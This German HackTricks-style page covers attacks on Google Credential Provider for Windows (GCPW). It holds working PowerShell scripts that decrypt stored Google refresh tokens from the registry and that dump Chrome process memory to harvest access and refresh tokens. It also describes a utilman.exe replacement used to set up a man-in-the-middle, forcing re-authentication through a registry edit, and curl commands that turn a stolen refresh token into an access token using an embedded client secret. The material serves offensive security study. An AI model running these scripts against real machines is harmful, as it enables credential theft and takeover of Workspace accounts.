GCPW - Google Credential Provider for Windows

Unterstützen Sie HackTricks

Grundinformationen

Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit ihren Workspace-Anmeldeinformationen an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert.

Beachten Sie, dass Winpeas in der Lage ist, GCPW zu erkennen, Informationen über die Konfiguration zu erhalten und sogar Tokens.

GCPW - MitM

Wenn ein Benutzer auf einen Windows-PC zugreift, der über GCPW mit Google Workspace synchronisiert ist, muss er ein gängiges Anmeldeformular ausfüllen. Dieses Anmeldeformular gibt einen OAuth-Code zurück, den der PC gegen das Refresh-Token in einer Anfrage eintauschen wird:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Neue Zeilen wurden hinzugefügt, um die Lesbarkeit zu verbessern.

Es war möglich, einen MitM durch die Installation von Proxifier auf dem PC durchzuführen, indem die utilman.exe-Binärdatei mit einer cmd.exe überschrieben und die Zugänglichkeitsfunktionen auf der Windows-Anmeldeseite ausgeführt wurden, die eine CMD ausführt, von der aus Sie Proxifier starten und konfigurieren können. Vergessen Sie nicht, den QUICK UDP-Verkehr in Proxifier zu blockieren, damit er auf TCP-Kommunikation herabgestuft wird und Sie ihn sehen können.

Konfigurieren Sie auch in "Dienste und andere Benutzer" beide Optionen und installieren Sie das Burp CA-Zertifikat in Windows.

Darüber hinaus ist es möglich, durch Hinzufügen der Schlüssel enable_verbose_logging = 1 und log_file_path = C:\Public\gcpw.log in HKLM:\SOFTWARE\Google\GCPW einige Protokolle zu speichern.

GCPW - Fingerabdruck

Es ist möglich zu überprüfen, ob GCPW auf einem Gerät installiert ist, indem überprüft wird, ob der folgende Prozess existiert oder ob die folgenden Registrierungsschlüssel existieren:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

In HKCU:\SOFTWARE\Google\Accounts ist es möglich, die E-Mail des Benutzers und das verschlüsselte refresh token zuzugreifen, wenn sich der Benutzer kürzlich angemeldet hat.

In HKLM:\SOFTWARE\Google\GCPW\Users ist es möglich, die Domains zu finden, die sich im Schlüssel domains_allowed anmelden dürfen, und in den Unterkeys sind Informationen über den Benutzer wie E-Mail, Bild, Benutzername, Token-Lebensdauer, Token-Handle... zu finden.

Das Token-Handle ist ein Token, das mit eth. beginnt und aus dem einige Informationen mit einer Anfrage extrahiert werden können, wie:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

Es ist auch möglich, den Token-Handle eines Zugriffstokens mit einer Anfrage wie dieser zu finden:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Soweit ich weiß, ist es nicht möglich, ein Refresh-Token oder Access-Token aus dem Token-Handle zu erhalten.

Darüber hinaus ist die Datei C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse ein JSON, das Informationen zu verschiedenen Einstellungen wie enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (ob mehrere Benutzer von Workspace sich am Computer anmelden können) und validityPeriodDays (Anzahl der Tage, an denen sich ein Benutzer nicht direkt bei Google neu authentifizieren muss) enthält.

GCPW - Tokens abrufen

GCPW - Registrierungs-Refresh-Token

Innerhalb der Registrierung HKCU:\SOFTWARE\Google\Accounts könnte es möglich sein, einige Konten mit dem refresh_token zu finden, das darin verschlüsselt ist. Die Methode ProtectedData.Unprotect kann es leicht entschlüsseln.

Daten von HKCU:\SOFTWARE\Google\Accounts abrufen und refresh_tokens entschlüsseln

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Beispielausgabe:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** zu ändern, und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden und das **Token wird in der vorherigen Registrierung gespeichert**.

### GCPW - Disk Refresh Tokens

Die Datei **`%LocalAppData%\Google\Chrome\User Data\Local State`** speichert den Schlüssel zum Entschlüsseln der **`refresh_tokens`**, die sich in den **Google Chrome-Profilen** des Benutzers befinden, wie:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

Es ist möglich, einige **C#-Code** zu finden, die auf diese Tokens in ihrer entschlüsselten Form in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) zugreifen.

Darüber hinaus kann die Verschlüsselung in diesem Code gefunden werden: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

Es kann beobachtet werden, dass AESGCM verwendet wird, das verschlüsselte Token beginnt mit einer **Version** (**`v10`** zu diesem Zeitpunkt), dann hat es [**12B Nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), und dann hat es den **Cipher-Text** mit einem finalen **MAC von 16B**.

### GCPW - Dumping tokens from processes memory

Das folgende Skript kann verwendet werden, um jeden **Chrome**-Prozess mit `procdump` zu **dumpen**, die **Strings** zu extrahieren und dann nach Strings zu suchen, die mit **Access- und Refresh-Tokens** zusammenhängen. Wenn Chrome mit einer Google-Website verbunden ist, wird ein **Prozess Refresh- und/oder Access-Tokens im Speicher speichern!**

<details>

<summary>Dump Chrome-Prozesse und suche Tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Ich habe dasselbe mit gcpw_extension.exe versucht, aber es wurde kein Token gefunden.

Aus irgendeinem Grund sind einige extrahierte Zugriffstoken nicht gültig (obwohl einige gültig sind). Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, das gültige Token aus dem Dump zu erhalten. Es hat mir nie geholfen, ein gültiges zu finden, aber ich schätze, es könnte:

Zugriffstoken überprüfen, indem Zeichen 1 nach dem anderen entfernt werden

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - Zugriffstoken aus Aktualisierungstoken generieren

Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Geheimnis verwendet wird, die im folgenden Befehl angegeben sind:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren.

Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.

Standardmäßig hat GCPW nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem refresh_token verwendet werden können, um ein access_token zu generieren:

Last updated